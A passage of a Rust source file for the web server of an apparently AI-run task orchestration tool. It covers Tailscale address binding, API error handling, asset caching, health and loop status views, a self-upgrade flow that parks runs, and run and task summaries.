1680 Bind::Auto => match tailscale_ip() {
1681 Ok(ip) => (IpAddr::V4(ip), None),
1682 Err(why) => (
1683 IpAddr::V4(Ipv4Addr::LOCALHOST),
1684 Some(format!(
1685 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1686 local-only and a phone cannot reach it; start Tailscale \
1687 or pass --bind <addr>"
1688 )),
1689 ),
1690 },
1691 }
1692}
1693
1694fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1702 let out = std::process::Command::new("tailscale")
1703 .args(["ip", "-4"])
1704 .quiet()
1705 .output()
1706 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1707 if !out.status.success() {
1708 let why = String::from_utf8_lossy(&out.stderr);
1709 let why = why.trim();
1710 return Err(format!(
1711 "`tailscale ip -4` failed ({}){}",
1712 out.status,
1713 if why.is_empty() {
1714 String::new()
1715 } else {
1716 format!(": {why}")
1717 }
1718 ));
1719 }
1720 String::from_utf8_lossy(&out.stdout)
1721 .lines()
1722 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1723 .find(is_tailnet)
1724 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1725}
1726
1727fn is_tailnet(ip: &Ipv4Addr) -> bool {
1729 let o = ip.octets();
1730 o[0] == 100 && (64..=127).contains(&o[1])
1731}
1732
1733type ApiResult<T> = std::result::Result<T, ApiError>;
1737
1738#[derive(Debug)]
1740struct ApiError {
1741 status: StatusCode,
1742 message: String,
1743}
1744
1745impl ApiError {
1746 fn bad_request(message: impl Into<String>) -> Self {
1748 Self {
1749 status: StatusCode::BAD_REQUEST,
1750 message: message.into(),
1751 }
1752 }
1753
1754 fn not_found(message: impl Into<String>) -> Self {
1756 Self {
1757 status: StatusCode::NOT_FOUND,
1758 message: message.into(),
1759 }
1760 }
1761
1762 fn with_status(mut self, status: StatusCode) -> Self {
1765 self.status = status;
1766 self
1767 }
1768
1769 fn bad_request_from(e: anyhow::Error) -> Self {
1773 Self::bad_request(format!("{e:#}"))
1774 }
1775
1776 fn conflict(message: impl Into<String>) -> Self {
1777 Self {
1778 status: StatusCode::CONFLICT,
1779 message: message.into(),
1780 }
1781 }
1782
1783 fn internal(message: impl Into<String>) -> Self {
1785 Self {
1786 status: StatusCode::INTERNAL_SERVER_ERROR,
1787 message: message.into(),
1788 }
1789 }
1790}
1791
1792impl From<anyhow::Error> for ApiError {
1793 fn from(e: anyhow::Error) -> Self {
1798 Self::internal(format!("{e:#}"))
1799 }
1800}
1801
1802impl IntoResponse for ApiError {
1803 fn into_response(self) -> Response {
1804 let body = serde_json::json!({ "error": self.message });
1805 (self.status, Json(body)).into_response()
1806 }
1807}
1808
1809async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1818where
1819 T: Send + 'static,
1820{
1821 match tokio::task::spawn_blocking(job).await {
1822 Ok(result) => result,
1823 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1824 }
1825}
1826
1827const ASSET_CACHE: &str = "no-cache, must-revalidate";
1845
1846fn asset_etag() -> &'static str {
1853 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1854 format!(
1855 "\"{}-{}\"",
1856 env!("CARGO_PKG_VERSION"),
1857 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1862 )
1863 });
1864 &TAG
1865}
1866
1867fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1869 [
1870 (header::CONTENT_TYPE, mime),
1871 (header::CACHE_CONTROL, ASSET_CACHE),
1872 (header::ETAG, asset_etag()),
1873 ]
1874}
1875
1876fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1884 let tag = asset_etag();
1885 let known = headers
1886 .get(header::IF_NONE_MATCH)
1887 .and_then(|v| v.to_str().ok())
1888 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1892 if known {
1893 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1894 }
1895 (asset_headers(mime), body).into_response()
1896}
1897
1898async fn index(headers: header::HeaderMap) -> Response {
1899 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1900}
1901
1902async fn app_css(headers: header::HeaderMap) -> Response {
1903 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1904}
1905
1906async fn app_js(headers: header::HeaderMap) -> Response {
1907 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1908}
1909
1910#[derive(Debug, Serialize)]
1912struct HealthView {
1913 version: &'static str,
1914 home: String,
1915 queue_rev: u64,
1916 runs_rev: u64,
1917 questions_rev: u64,
1929 talks_rev: u64,
1931 notifications_rev: u64,
1933 notifications_unread: usize,
1936 loop_rev: u64,
1941 runs_unreadable: usize,
1949 disk: DiskView,
1957 questions_open: usize,
1963 questions_needs_owner: usize,
1973 daemon: DaemonView,
1974 #[serde(rename = "loop")]
1980 looping: LoopView,
1981 update: UpdateView,
1988 upgrade: Option<UpgradeProgressView>,
1992}
1993
1994#[derive(Debug, Serialize)]
2001struct UpdateView {
2002 available: bool,
2004 to: Option<String>,
2006}
2007
2008#[derive(Debug, Serialize)]
2010struct UpgradeProgressView {
2011 stage: updater::Stage,
2012 from: String,
2013 to: Option<String>,
2014 waiting_on: Option<String>,
2017 started_at: Timestamp,
2018 updated_at: Timestamp,
2019 detail: Option<String>,
2020 stuck_for_secs: Option<i64>,
2023 stuck_kind: Option<updater::StallKind>,
2026 handover_alive: bool,
2029}
2030
2031fn should_spawn_recheck(cfg: &Update) -> bool {
2038 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2039}
2040
2041fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2053 if progress.is_some_and(|p| !p.stage.terminal()) {
2054 return false;
2055 }
2056 checker.should_check()
2057}
2058
2059fn recheck_poll_period(cfg: &Update) -> Duration {
2072 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2073}
2074
2075async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2099 loop {
2100 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2101 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2102 if !should_spawn_recheck(&cfg.update) {
2103 continue;
2104 }
2105 let Some(checker) = updater::Checker::new(&cfg.update) else {
2106 continue;
2107 };
2108 let progress = updater::read_progress(&home);
2109 if !update_recheck_due(&checker, progress.as_ref()) {
2110 continue;
2111 }
2112 if let Err(e) = checker.newer_release().await {
2113 tracing::warn!("background update recheck failed: {e:#}");
2114 }
2115 }
2116}
2117
2118fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2124 let default;
2125 let cfg = match cfg {
2126 Some(cfg) => cfg,
2127 None => {
2128 default = Config::default();
2129 &default
2130 }
2131 };
2132 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2133 match latest {
2134 Some(latest) => UpdateView {
2135 available: true,
2136 to: Some(latest.tag_name),
2137 },
2138 None => UpdateView {
2139 available: false,
2140 to: None,
2141 },
2142 }
2143}
2144
2145fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2151 let now = Timestamp::now();
2152 let lease = updater::read_lease(&ui.home);
2153 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2154 let run_id = alive
2155 .and_then(|l| l.parked_run.as_deref())
2156 .or(progress.parked_run.as_deref());
2157 let parking = progress.stage == updater::Stage::Parking;
2158 let waited = alive.map_or_else(String::new, |l| {
2159 let secs = updater::waited_secs(l, now);
2160 format!(" (waited {} min so far)", secs / 60)
2161 });
2162 let run_text = run_id
2163 .filter(|_| parking)
2164 .map(|id| match read_run(&ui.runs, id).ok() {
2165 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2166 None => format!("run {id} is finishing"),
2167 });
2168 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2169 .filter(|t| parking && !t.is_empty())
2170 .map(|t| format!("{t} finishing"));
2171 let waiting_on = match (run_text, talks_text) {
2172 (None, None) => None,
2173 (run, talks) => {
2174 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2175 Some(format!(
2176 "{} before the address is handed over{waited}",
2177 parts.join(" and ")
2178 ))
2179 }
2180 };
2181 let detail = progress
2182 .detail
2183 .clone()
2184 .or_else(|| updater::read_note(&ui.home, &progress));
2185 let stalled = updater::stall(&progress, lease.as_ref(), now);
2186 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2187 UpgradeProgressView {
2188 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2189 stuck_kind: stalled.map(|s| s.kind),
2190 handover_alive: alive.is_some(),
2191 stage: progress.stage,
2192 from: progress.from,
2193 to: progress.to,
2194 waiting_on,
2195 started_at: progress.started_at,
2196 updated_at: progress.updated_at,
2197 detail,
2198 }
2199}
2200
2201#[derive(Debug, Serialize)]
2206struct DiskView {
2207 #[serde(skip_serializing_if = "Option::is_none")]
2209 free_bytes: Option<u64>,
2210 runs_bytes: u64,
2212 worktrees_bytes: u64,
2214 #[serde(skip_serializing_if = "Option::is_none")]
2216 cache_bytes: Option<u64>,
2217}
2218
2219impl DiskView {
2220 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2222 let cache_bytes = cfg
2223 .and_then(|cfg| cfg.cache_dir())
2224 .map(|dir| crate::disk::dir_size(&dir));
2225 Self {
2226 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2227 runs_bytes: crate::disk::dir_size(&ui.runs),
2228 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2229 cache_bytes,
2230 }
2231 }
2232}
2233
2234#[derive(Debug, Serialize)]
2236struct DaemonView {
2237 running: bool,
2238 idle: Option<bool>,
2239 pid: Option<u32>,
2240 current: Vec<daemon::Current>,
2244 completed: Option<u64>,
2245 stale_for_secs: Option<i64>,
2246}
2247
2248impl DaemonView {
2249 fn of(status: Option<daemon::Reading>) -> Self {
2253 let Some(status) = status else {
2254 return Self {
2255 running: false,
2256 idle: None,
2257 pid: None,
2258 current: Vec::new(),
2259 completed: None,
2260 stale_for_secs: None,
2261 };
2262 };
2263 let now = Timestamp::now();
2264 let age = status.age_secs(now);
2265 Self {
2266 running: status.running(now),
2267 idle: Some(status.idle),
2268 pid: status.pid,
2269 current: status.current,
2270 completed: Some(status.completed),
2271 stale_for_secs: age,
2272 }
2273 }
2274}
2275
2276async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2277 blocking(move || {
2278 let reading = daemon::read_status(&ui.home);
2282 let loop_rev = ui.lock_loop().rev;
2286 let cfg = deputy_config(&ui.repo);
2289 let update = cached_update_view(cfg.as_ref());
2290 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2291 Ok(Json(HealthView {
2292 version: env!("CARGO_PKG_VERSION"),
2293 home: ui.home.display().to_string(),
2294 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2295 runs_rev: runs_revision(&ui.runs),
2296 questions_rev: ui.questions.revision(),
2297 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2298 notifications_rev: ui.notices.revision(),
2299 notifications_unread: ui.notices.count_unread(),
2300 loop_rev,
2301 runs_unreadable: runs_unreadable(&ui.runs),
2302 questions_open: ui.questions.count_open(),
2303 questions_needs_owner: ui.questions.count_needs_owner(),
2304 daemon: DaemonView::of(reading.clone()),
2305 looping: ui.loop_view(reading),
2306 disk: DiskView::of(&ui, cfg.as_ref()),
2307 update,
2308 upgrade,
2309 }))
2310 })
2311 .await
2312}
2313
2314#[derive(Debug, Serialize)]
2316struct LoopView {
2317 running: bool,
2319 stopping: bool,
2327 parking: bool,
2335 owned: bool,
2343 repo: String,
2346 merge: Option<String>,
2349 last_error: Option<String>,
2357 daemon: DaemonView,
2360}
2361
2362#[derive(Debug, Clone, Copy)]
2371struct Foreign {
2372 pid: Option<u32>,
2374}
2375
2376impl Foreign {
2377 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2380 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2384 }
2385
2386 fn who(&self) -> String {
2389 match self.pid {
2390 Some(pid) => format!("another magi process (pid {pid})"),
2391 None => "another magi process".to_owned(),
2392 }
2393 }
2394}
2395
2396type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2401
2402fn launch_daemon(
2404 opts: daemon::Opts,
2405 stop: daemon::Stop,
2406) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2407 Box::pin(daemon::serve_until(opts, stop))
2408}
2409
2410#[derive(Debug, Default)]
2412struct LoopState {
2413 live: Option<Live>,
2415 rev: u64,
2423 last_error: Option<String>,
2426 resume_after_handover: bool,
2431}
2432
2433#[derive(Debug)]
2435struct Live {
2436 stop: daemon::Stop,
2438 handle: tokio::task::JoinHandle<()>,
2443 opts: daemon::Opts,
2447}
2448
2449impl Live {
2450 fn alive(&self) -> bool {
2452 !self.handle.is_finished()
2453 }
2454}
2455
2456fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2463 state.lock().unwrap_or_else(PoisonError::into_inner)
2464}
2465
2466async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2468 blocking(move || {
2469 let reading = daemon::read_status(&ui.home);
2470 Ok(Json(ui.loop_view(reading)))
2471 })
2472 .await
2473}
2474
2475#[derive(Debug, Deserialize)]
2481#[serde(deny_unknown_fields)]
2482struct LoopCommand {
2483 running: bool,
2484 #[serde(default)]
2494 park: bool,
2495}
2496
2497async fn loop_post(
2505 State(ui): State<Arc<Ui>>,
2506 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2507) -> ApiResult<Json<LoopView>> {
2508 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2511 blocking(move || {
2512 let reading = daemon::read_status(&ui.home);
2513 let foreign = Foreign::of(reading.as_ref());
2514 if body.running {
2515 ui.start_loop(foreign)?;
2516 } else {
2517 ui.stop_loop(foreign, body.park)?;
2518 }
2519 Ok(Json(ui.loop_view(reading)))
2520 })
2521 .await
2522}
2523
2524#[derive(Debug, Serialize)]
2526struct UpgradeView {
2527 from: String,
2529 to: Option<String>,
2531 parked: Option<String>,
2533 detail: String,
2535}
2536
2537fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2540 progress.filter(|p| !p.stage.terminal())
2541}
2542
2543async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2567 let reading = daemon::read_status(&ui.home);
2568 if let Some(other) = Foreign::of(reading.as_ref()) {
2569 return Err(ApiError::conflict(format!(
2570 "the loop belongs to {}, so replacing this binary would leave \
2571 that process running an old one against the same queue. Upgrade \
2572 where it was started.",
2573 other.who()
2574 )));
2575 }
2576
2577 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2582 return Err(ApiError::conflict(
2583 "another request is already preparing an upgrade",
2584 ));
2585 };
2586 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2587 return Err(ApiError::conflict(
2588 "an upgrade is already in progress (this process started one and it \
2589 has not finished or failed yet)",
2590 ));
2591 }
2592 let recorded = updater::read_progress(&ui.home);
2593 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2594 return Err(ApiError::conflict(format!(
2595 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2596 stays stuck, restart the deck; on start it settles a stale record.",
2597 p.stage.as_str(),
2598 p.from,
2599 p.to.as_deref().unwrap_or("?"),
2600 )));
2601 }
2602
2603 if crate::updater::disabled_by_env() {
2609 return Ok((
2610 StatusCode::OK,
2611 Json(UpgradeView {
2612 from: env!("CARGO_PKG_VERSION").to_owned(),
2613 to: None,
2614 parked: None,
2615 detail: format!(
2616 "Automatic updates are disabled by {}. Nothing was parked \
2617 and nothing restarted.",
2618 crate::updater::NO_AUTOUPDATE_ENV
2619 ),
2620 }),
2621 ));
2622 }
2623
2624 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2629 let from = env!("CARGO_PKG_VERSION").to_owned();
2630 let latest = match crate::updater::Checker::new(&cfg.update) {
2631 Some(checker) => checker
2632 .newer_release()
2633 .await
2634 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2635 None => None,
2636 };
2637 let Some(latest) = latest else {
2638 return Ok((
2639 StatusCode::OK,
2640 Json(UpgradeView {
2641 from,
2642 to: None,
2643 parked: None,
2644 detail: "Already on the newest release. Nothing was parked \
2645 and nothing restarted."
2646 .to_owned(),
2647 }),
2648 ));
2649 };
2650
2651 let parked = ui.park_for_upgrade()?;
2654 let detail = match &parked {
2655 Some(run) => format!(
2660 "Run {} is parking at its next step, which can take as long as \
2661 the step it is on - up to an hour for an implement wave. The \
2662 deck replaces itself once it parks, comes back, and the loop \
2663 carries that run on from where it stopped. Nothing is lost if \
2664 you close this.",
2665 crate::run::short_of(run)
2666 ),
2667 None => "The deck replaces itself and comes back. Nothing was in \
2668 flight to park."
2669 .to_owned(),
2670 };
2671
2672 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2676 progress.parked_run = parked.clone();
2677 updater::write_progress_logged(&ui.home, &progress);
2681
2682 let home = ui.home.clone();
2683 let looping = ui.looping();
2684 ui.upgrade_spawned
2685 .store(true, std::sync::atomic::Ordering::SeqCst);
2686 let spawned = Arc::clone(&ui.upgrade_spawned);
2687 tokio::spawn(async move {
2688 if let Err(e) = upgrade_and_restart(home.clone()).await {
2689 tracing::error!("the upgrade did not complete: {e:#}");
2690 lock_or_recover(&looping).resume_after_handover = false;
2691 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2695 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2698 }
2699 });
2700
2701 Ok((
2702 StatusCode::ACCEPTED,
2703 Json(UpgradeView {
2704 from,
2705 to: Some(latest.tag_name),
2706 parked,
2707 detail,
2708 }),
2709 ))
2710}
2711
2712async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2717 crate::updater::run_self_update(true, false, true).await?;
2720 updater::log_step(&home, "binary replaced - recording the replaced stage");
2721 if let Some(mut progress) = updater::read_progress(&home) {
2722 progress.advance(updater::Stage::Replaced);
2723 updater::write_progress_logged(&home, &progress);
2724 }
2725 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2726 HANDOVER.notify_one();
2727 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2728 Ok(())
2729}
2730
2731#[derive(Debug, Serialize)]
2737struct RunSummary {
2738 id: String,
2739 short: String,
2740 status: String,
2741 done: bool,
2742 instruction: String,
2743 title: String,
2744 repo: String,
2745 repo_name: String,
2746 created_at: String,
2747 updated_at: String,
2748 candidates: usize,
2749 viable: usize,
2750 judges: usize,
2751 winner: Option<char>,
2752 reviews: usize,
2753 quota_losses: usize,
2754 event: Option<String>,
2755 superseded_by: Option<String>,
2760 waiting: bool,
2767 live: crate::run::Liveness,
2771 pr: Option<crate::run::PrRecord>,
2773 unmerged_by_design: bool,
2779 origin_label: String,
2782}
2783
2784impl RunSummary {
2785 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2786 Self {
2787 id: state.id.clone(),
2788 short: state.short().to_owned(),
2789 status: status_word(state.status),
2790 done: state.status.done(),
2791 unmerged_by_design: state.unmerged_by_design(),
2792 instruction: state.instruction.clone(),
2793 title: title_from(&state.instruction, TITLE_MAX),
2794 repo: state.repo.display().to_string(),
2795 repo_name: state
2796 .repo
2797 .file_name()
2798 .map(|n| n.to_string_lossy().into_owned())
2799 .unwrap_or_default(),
2800 created_at: state.created_at.to_string(),
2801 updated_at: state.updated_at.to_string(),
2802 candidates: state.candidates.len(),
2803 viable: state.viable().len(),
2804 judges: state.config.graph.judges,
2805 winner: state.winner().map(|c| c.label),
2806 reviews: state.reviews.len(),
2807 quota_losses: state.quota.len(),
2808 event: state.events.last().map(|e| e.message.clone()),
2809 waiting,
2810 live,
2811 superseded_by: None,
2814 pr: state.pr.clone(),
2815 origin_label: crate::run::origin_label(state.origin.as_ref()),
2816 }
2817 }
2818}
2819
2820fn status_word(status: RunStatus) -> String {
2823 status.as_str().to_owned()
2827}
2828
2829#[derive(Debug, Deserialize)]
2831struct ListQuery {
2832 #[serde(default)]
2833 limit: Option<usize>,
2834 ids: Option<String>,
2836}
2837
2838impl ListQuery {
2839 fn contains(&self, id: &str) -> bool {
2840 self.ids
2841 .as_ref()
2842 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2843 }
2844}
2845
2846async fn runs_list(
2847 State(ui): State<Arc<Ui>>,
2848 Query(q): Query<ListQuery>,
2849) -> ApiResult<Json<Vec<RunSummary>>> {
2850 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2851 blocking(move || {
2852 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2853 let states = run_ids(&ui.runs)
2854 .into_iter()
2855 .filter_map(|id| read_run(&ui.runs, &id).ok())
2860 .take(limit)
2861 .filter(|run| q.contains(&run.id));
2862 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2863 let summaries = summarize(
2864 states,
2865 &open_runs,
2866 &claimed,
2867 &superseded,
2868 |p| probe.borrow_mut().status(p),
2869 |p| probe.borrow_mut().started_at(p),
2870 );
2871 Ok(Json(summaries))
2872 })
2873 .await
2874}
2875
2876fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2881 let open_runs: HashSet<String> = ui
2882 .questions
2883 .list()
2884 .into_iter()
2885 .filter(|q| q.status.open())
2886 .map(|q| q.run)
2887 .collect();
2888 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2889 .into_iter()
2890 .map(|c| c.run)
2891 .collect();
2892 (open_runs, claimed, ui.queue.superseded())
2893}
2894
2895fn summarize<I, S, D>(
2901 states: I,
2902 open_runs: &HashSet<String>,
2903 claimed: &HashSet<String>,
2904 superseded: &HashMap<String, String>,
2905 mut status_q: S,
2906 mut identity_q: D,
2907) -> Vec<RunSummary>
2908where
2909 I: IntoIterator<Item = RunState>,
2910 S: FnMut(u32) -> Option<bool>,
2911 D: FnMut(u32) -> Option<String>,
2912{
2913 states
2914 .into_iter()
2915 .map(|state| {
2916 let waiting = open_runs.contains(&state.id);
2917 let live =
2918 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2919 let mut row = RunSummary::of(&state, waiting, live);
2920 row.superseded_by = superseded
2921 .get(&state.id)
2922 .map(String::as_str)
2923 .map(crate::run::short_of)
2924 .map(str::to_owned);
2925 row
2926 })
2927 .collect()
2928}
2929
2930#[derive(Debug, Serialize)]
2937struct RunDetailView {
2938 #[serde(flatten)]
2939 state: RunState,
2940 instruction_md: Vec<md::Node>,
2941 #[serde(flatten)]
2945 prose_md: RunProseMd,
2946 live: crate::run::Liveness,
2961 unmerged_by_design: bool,
2966 done: bool,
2971 superseded_by: Option<String>,
2979 latest_attempt: Option<LatestAttempt>,
2993 task: Option<TaskRef>,
2996 origin_label: String,
3000}
3001
3002#[derive(Debug, Serialize)]
3004struct TaskRef {
3005 id: String,
3006 short: String,
3007 title: String,
3008 source_label: String,
3010 source_link: Option<SourceLink>,
3012 status: &'static str,
3014 attempts: usize,
3015 max_attempts: usize,
3016 is_latest: bool,
3018 latest: Option<RunBrief>,
3020 finished_by: Option<RunBrief>,
3022 closed_by_hand: bool,
3024}
3025
3026#[derive(Debug, PartialEq, Eq, Serialize)]
3028struct SourceLink {
3029 kind: &'static str,
3031 id: String,
3033 href: String,
3035}
3036
3037fn encode_segment(raw: &str) -> String {
3039 let mut out = String::with_capacity(raw.len());
3040 for b in raw.bytes() {
3041 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3042 out.push(b as char);
3043 } else {
3044 out.push_str(&format!("%{b:02X}"));
3045 }
3046 }
3047 out
3048}
3049
3050fn source_link(source: &Source) -> Option<SourceLink> {
3054 let Source::Agent { run, node } = source else {
3055 return None;
3056 };
3057 let (kind, route) = if node == crate::queue::CHAT_NODE {
3058 ("chat", "chat")
3059 } else {
3060 ("run", "runs")
3061 };
3062 Some(SourceLink {
3063 kind,
3064 id: run.clone(),
3065 href: format!("#/{route}/{}", encode_segment(run)),
3066 })
3067}
3068
3069#[derive(Debug, Serialize, PartialEq)]
3071struct FollowUpParent {
3072 id: String,
3073 short: String,
3074 title: String,
3075 status: &'static str,
3077 href: String,
3078}
3079
3080#[derive(Debug, Serialize, PartialEq)]
3082struct FollowUpRun {
3083 id: String,
3084 short: String,
3085 status: Option<&'static str>,
3087 href: Option<String>,
3089}
3090
3091#[derive(Debug, Serialize, PartialEq)]
3094struct FollowUpOrigin {
3095 parent: Option<FollowUpParent>,
3097 run: FollowUpRun,
3098 pr: String,
3103 findings: Vec<String>,
3104 generation: u32,
3105}
3106
3107fn followup_origin(
3110 fu: &crate::queue::FollowUp,
3111 task: impl Fn(&str) -> Option<Task>,
3112 run: impl Fn(&str) -> Option<RunState>,
3113) -> FollowUpOrigin {
3114 let parent = fu
3115 .origin_task
3116 .as_deref()
3117 .and_then(task)
3118 .map(|t| FollowUpParent {
3119 short: t.short().to_owned(),
3120 href: format!("#/tasks/{}", encode_segment(&t.id)),
3121 status: t.status.as_str(),
3122 title: t.title,
3123 id: t.id,
3124 });
3125 let state = run(&fu.run);
3126 FollowUpOrigin {
3127 parent,
3128 run: FollowUpRun {
3129 short: run::short_of(&fu.run).to_owned(),
3130 status: state.as_ref().map(|s| s.status.as_str()),
3131 href: state
3132 .is_some()
3133 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3134 id: fu.run.clone(),
3135 },
3136 pr: fu.pr.clone(),
3137 findings: fu.findings.clone(),
3138 generation: fu.generation,
3139 }
3140}
3141
3142#[derive(Debug, Serialize)]
3144struct RunBrief {
3145 id: String,
3146 short: String,
3147 status: Option<&'static str>,
3149 outcome: String,
3151}
3152
3153fn task_outcome(
3156 task: &Task,
3157 this_run: &str,
3158 max_attempts: usize,
3159 read: impl Fn(&str) -> Option<RunState>,
3160) -> TaskRef {
3161 let history = task_history(task, read);
3162 let brief = |h: &TaskRunView| RunBrief {
3163 id: h.id.clone(),
3164 short: h.short.clone(),
3165 status: h.status,
3166 outcome: h.exit.edge_label(h.status),
3167 };
3168 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3169 let latest = if is_latest {
3170 None
3171 } else {
3172 history.last().map(brief)
3173 };
3174 let done = task.status == TaskStatus::Done;
3175 let finished_by = done
3176 .then(|| {
3177 history
3178 .iter()
3179 .rev()
3180 .find(|h| {
3181 matches!(
3182 h.exit,
3183 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3184 )
3185 })
3186 .map(brief)
3187 })
3188 .flatten();
3189 TaskRef {
3190 short: task.short().to_owned(),
3191 title: task.title.clone(),
3192 id: task.id.clone(),
3193 source_label: task.source.label(),
3194 source_link: source_link(&task.source),
3195 status: task.status.as_str(),
3196 attempts: task.attempts,
3197 max_attempts,
3198 is_latest,
3199 latest,
3200 closed_by_hand: done && finished_by.is_none(),
3201 finished_by,
3202 }
3203}
3204
3205#[derive(Debug, Serialize)]
3207struct LatestAttempt {
3208 id: String,
3209 short: String,
3210 resolved: bool,
3221 status: RunStatus,
3224 done: bool,
3226}
3227
3228#[derive(Debug, Default, Serialize)]
3230struct RunProseMd {
3231 advice_md: Option<AdviceMd>,
3233 candidate_summaries_md: Vec<Vec<md::Node>>,
3235 reviews_md: Vec<RoundMd>,
3237}
3238
3239#[derive(Debug, Default, Serialize)]
3240struct AdviceMd {
3241 synthesis: Vec<md::Node>,
3242 approaches: Vec<Vec<md::Node>>,
3244}
3245
3246#[derive(Debug, Default, Serialize)]
3247struct RoundMd {
3248 reviewers: Vec<ReviewerMd>,
3250 reconsideration: Vec<Vec<md::Node>>,
3252 fix: Option<FixMd>,
3253}
3254
3255#[derive(Debug, Default, Serialize)]
3256struct ReviewerMd {
3257 summary: Vec<md::Node>,
3258 findings: Vec<Vec<md::Node>>,
3260}
3261
3262#[derive(Debug, Default, Serialize)]
3263struct FixMd {
3264 notes: Vec<md::Node>,
3265 rejected: Vec<Vec<md::Node>>,
3267}
3268
3269fn run_prose_md(state: &RunState) -> RunProseMd {
3271 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3272 RunProseMd {
3273 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3274 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3275 approaches: a
3276 .records
3277 .iter()
3278 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3279 .collect(),
3280 }),
3281 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3282 reviews_md: state
3283 .reviews
3284 .iter()
3285 .map(|round| RoundMd {
3286 reviewers: round
3287 .reviews
3288 .iter()
3289 .map(|rec| ReviewerMd {
3290 summary: nodes(&rec.summary),
3291 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3292 })
3293 .collect(),
3294 reconsideration: round
3295 .reconsideration
3296 .iter()
3297 .map(|rv| nodes(&rv.reason))
3298 .collect(),
3299 fix: round.fix.as_ref().map(|fix| FixMd {
3300 notes: nodes(&fix.notes),
3301 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3302 }),
3303 })
3304 .collect(),
3305 }
3306}
3307
3308impl RunDetailView {
3309 fn of(
